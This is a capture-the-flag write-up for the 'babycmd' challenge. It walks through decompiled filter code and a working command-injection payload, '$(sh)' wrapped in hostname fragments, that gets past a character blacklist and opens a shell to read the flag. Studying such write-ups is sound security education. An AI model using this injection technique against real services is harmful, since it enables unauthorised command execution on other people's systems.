checksec
[*] '/mnt/c/Users/user/Desktop/pwnable/babycmd'
Arch: amd64-64-little
RELRO: No RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
With a stack canary and NX in place, classic stack overflows and shellcode injection are out. The vulnerability lives in the application logic layer — command injection via a poorly filtered shell command template.
Running the program
➜ pwnable ./babycmd
Welcome to another Baby's First Challenge!
Commands: ping, dig, host, exit
: ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=116 time=37.6 ms
...
Commands: ping, dig, host, exit
: dig google.com
...
Commands: ping, dig, host, exit
: host google.com
google.com has address 172.217.26.238
...
The binary accepts four commands: ping, dig, host, and exit. Each runs the corresponding system utility via popen. The task is to inject an arbitrary shell command through one of these wrappers.
Analysis
Reading input and dispatching commands
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char v9[272]; // [rsp+0h] [rbp-258h] — raw input buffer
char dest[264]; // [rsp+110h] [rbp-148h] — command name
...
while ( 1 )
{
printcmd_D3A();
// reads up to 255 bytes into v9
...
v6 = strcspn(v9, " "); // find the first space
strncpy(dest, v9, v6); // copy the command name
dest[v6] = 0;
cmd = strchr(v9, ' '); // pointer to the argument (after the space)
if ( !strcasecmp(dest, "ping") ) ping_E35(cmd);
else if ( !strcasecmp(dest, "dig") ) dig_F5C(cmd);
else if ( !strcasecmp(dest, "host") ) host_10BD(cmd);
}
}Blacklist filter — check_D65
All three handlers call check_D65 before constructing the shell command. It copies each character of the user's argument into a sanitized buffer, but returns 0 (failure) for the following characters:
__int64 __fastcall check_D65(char *cmd, _BYTE *a2)
{
...
while ( v2 == ' ' ) { ... } // skip leading spaces
if ( (unsigned __int8)(v2 - '&') <= 1u ) return 0; // & and '
if ( v2 == '|' ) return 0;
if ( v2 == '*' ) return 0;
if ( (v2 & 253) == '!' ) return 0; // ! and #
if ( (unsigned __int8)(v2 - ':') > 1u )
{
*a2++ = v2; // passed all the checks above — copy
goto LABEL_9;
}
return 0; // ; and :
}Blocklist: &, ', |, *, !, #, ;, :
Notably, $ and the backtick ` are not blocked.
The ping handler
if ( inet_aton(cp, &in) ) // validate IPv4 format
{
__sprintf_chk(command, 1LL, 384LL, "ping -c 3 -W 3 %s", v1);inet_aton strictly validates IPv4 dotted-decimal notation. No injection is possible here.
The dig handler
__sprintf_chk(command, 1LL, 384LL, "dig '%s'", cp);The argument is wrapped in single quotes. Inside single quotes, the shell treats everything literally — $() and backtick substitution don't expand. No injection.
The host handler
__sprintf_chk(command, 1LL, 384LL, "host \"%s\"", cp);The argument is wrapped in double quotes. Inside double quotes, the shell still expands $() and `...` command substitution. This is the injection point.
Secondary filter — check2_DCC
For non-IP arguments, dig and host also call check2_DCC, which checks:
- Total argument length <= 63 characters
- The first character must be alphanumeric
- The last character must be alphanumeric
_BOOL8 __fastcall check2_DCC(const char *cmd)
{
length = strlen(cmd) + 1;
if ( length - 4 <= 60 ) // length <= 63
{
if ( isalpha(*cmd) || isdigit(*cmd) ) // first char alphanumeric
{
v3 = cmd[length - 2];
if ( isalpha(v3) || isdigit(v3) ) // last char alphanumeric
return 1;
}
}
return 0;
}So the payload must start and end with an alphanumeric character.
Background: command substitution
The shell supports two forms of command substitution:
echo $(echo $(ls)) # dollar-paren — nests cleanly
echo `echo \`ls\`` # backtick — needs escaping to nest
echo `echo `ls`` # broken — the inner backtick closes the outer oneSince $ passes the blacklist and parentheses aren't blocked either, $(...) is the reliable choice.
Exploit
Step 1 — confirm injection
: host nt.ph4nt0m$(ls).xyz
Host nt.ph4nt0mDescription.md
babycmd
babycmd.id0
...
flag
...
horcruxes.xyz not found: 3(NXDOMAIN)
The output of ls gets inserted into the hostname. The command is being executed.
Step 2 — attempt to read the flag directly
Trying $(cat flag) fails, because the shell concatenates the command name and argument with no space:
: host nt.ph4nt0m.$(cat flag)xyz
sh: 1: catflag: not found
The injected output becomes part of the hostname token. Running a command that contains a space requires a full interactive shell.
Step 3 — spawn a shell with $(sh)
: host nt.ph4nt0m$(sh).xyz
cat flag
exit
Host nt.ph4nt0m[+] Exploit Success.xyz not found: 3(NXDOMAIN)
$(sh) runs an interactive /bin/sh as a subshell inside the popen call. Entering cat flag and exit embeds the flag into the resulting hostname string that host tries to resolve.
Payload breakdown
host nt.ph4nt0m$(sh).xyz
^^^^^^^^ — alphanumeric prefix (satisfies check2_DCC's first-char rule)
^^^^ — $() command substitution, not blocked by check_D65
^^^^ — alphanumeric suffix (satisfies check2_DCC's last-char rule)
The final shell command the binary constructs:
host "nt.ph4nt0m$(sh).xyz"The double-quote context allows $(sh) to expand, spawning a shell that then reads the cat flag command.
Summary
babycmd demonstrates how fragile blacklist-based input sanitization can be. The filter correctly blocked the obvious metacharacters (|, ;, &), but missed $ — the crux of $(...) command substitution. The dig handler was safe because single quotes block all substitution, whereas host used double quotes so $() still expanded. The secondary length and alphanumeric boundary checks were easy to satisfy by wrapping the substitution code between innocuous hostname fragments.